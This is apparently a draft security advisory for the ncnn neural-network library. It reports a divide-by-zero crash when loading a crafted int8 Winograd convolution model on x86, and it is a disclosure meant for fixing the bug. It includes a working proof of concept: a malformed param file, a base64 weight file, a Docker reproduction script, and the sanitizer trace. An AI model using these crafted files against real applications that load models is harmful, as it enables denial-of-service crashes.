All advisories
Draft

Divide-By-Zero Crash in Int8 Winograd Model Loading

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Divide-By-Zero Crash in Int8 Winograd Model Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_3x3_winograd_int8.h:3197 in get_optimal_tile_mnk_int8
Sanitizer verdict: FPE on unknown address 0x62826a870089 (pc 0x62826a870089 bp 0x7ffd4854cf50 sp 0x7ffd4854cd90 T0)

Summary

A crafted ncnn model whose INT8 Convolution layer declares far fewer weight bytes than its shape implies makes the x86 backend compute zero input channels, after which the Winograd tile solver divides by zero and kills the process with SIGFPE. The PoC drives this through ncnnoptimize poc.param poc.bin optimized.param optimized.bin 0; the crash occurs inside ncnn::Net::load_model while creating the convolution pipeline, so any x86 consumer that loads an untrusted model with Winograd convolution enabled is affected.

Detail

Convolution::load_param reads num_output (field 0), kernel_w/kernel_h (fields 1 and 11) and weight_data_size (field 6) as four independent integers and never checks that they are mutually consistent. Convolution_x86::create_pipeline_int8_x86 reconstructs the missing channel count by dividing, and then uses num_output alone to decide whether the Winograd path is worthwhile — so a zero num_input does not disqualify the model.

// src/layer/x86/convolution_x86.cpp:955
    const int maxk = kernel_w * kernel_h;
    const int num_input = weight_data_size / maxk / num_output;

    bool prefer_winograd = (opt.use_winograd23_convolution || opt.use_winograd43_convolution) && (num_input > 8 || num_output > 8);

    if (opt.use_winograd_convolution && prefer_winograd && kernel_w == 3 && kernel_h == 3 && dilation_w == 1 && dilation_h == 1 && stride_w == 1 && stride_h == 1)
    {
        if (opt.use_winograd43_convolution)
            conv3x3s1_winograd43_transform_kernel_int8(weight_data, weight_winograd43_data, num_input, num_output, opt);

// src/layer/x86/convolution_3x3_winograd_int8.h:3195
        int nn_K = (K + TILE_K - 1) / TILE_K;
#if __AVX512F__
        TILE_K = std::min(TILE_K, ((K + nn_K - 1) / nn_K + 15) / 16 * 16);

The PoC layer line is Convolution conv 1 1 data out 0=64 1=3 11=3 2=1 12=1 3=1 13=1 4=0 5=0 6=1 8=1: num_output = 64, a 3x3 kernel, unit stride and dilation, weight_data_size = 1, and int8_scale_term = 1. That makes maxk = 9 and num_input = 1 / 9 / 64 = 0, while prefer_winograd still evaluates true because num_output > 8. The kernel-transform helper therefore runs with K = inch = 0.

Inside get_optimal_tile_mnk_int8, the "solve K" block clamps TILE_K to at least 16 on AVX-512, so nn_K = (0 + TILE_K - 1) / TILE_K truncates to 0. Line 3197 then evaluates (K + nn_K - 1) / nn_K, i.e. -1 / 0, and the integer division raises SIGFPE while Net::load_model is still constructing layer pipelines.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-crash-in-int8-winograd-model-loading && cd ncnn-poc-divide-by-zero-crash-in-int8-winograd-model-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 2
Convolution c 1 1 a b 0=64 1=3 6=1 8=1
PARAM

base64 -d > poc.bin <<'BIN'
OEsNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
BIN

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name a failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x57a443e14089 (pc 0x57a443e14089 bp 0x7ffc301432f0 sp 0x7ffc30143130 T0)
    #0 0x57a443e14089 in get_optimal_tile_mnk_int8 /ncnn/src/layer/x86/convolution_3x3_winograd_int8.h:3197
    #1 0x57a443e37225 in conv3x3s1_winograd43_transform_kernel_int8 /ncnn/src/layer/x86/convolution_3x3_winograd_int8.h:4523
    #2 0x57a443f72c50 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:963
    #3 0x57a443f557ce in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:290
    #4 0x57a44317ac96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #5 0x57a44317b90a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #6 0x57a44317bc91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #7 0x57a44308ecaf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #8 0x7ea1882811c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7ea18828128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x57a44300e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/x86/convolution_3x3_winograd_int8.h:3197 in get_optimal_tile_mnk_int8
==1==ABORTING

Credit

Zheng Yu @ DepthFirst